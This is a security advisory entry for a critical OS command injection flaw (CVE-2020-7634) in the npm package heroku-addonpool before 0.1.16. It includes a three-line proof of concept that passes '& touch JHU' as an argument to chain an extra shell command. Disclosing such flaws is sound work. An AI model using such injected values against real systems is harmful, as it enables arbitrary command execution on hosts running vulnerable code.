ADVISORIES

GitHub Advisory Database

GHSA-3q9x-w53p-jg53

OS Command Injection in heroku-addonpool

Critical CVE-2020-7634

Details

heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function HerokuAddonPool(id, app, opt) can be controlled by users without any sanitization.

PoC

var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();

Affected packages

EcosystemPackageAffected versions
npmheroku-addonpool
All versions before 0.1.16 (fixed in 0.1.16)

References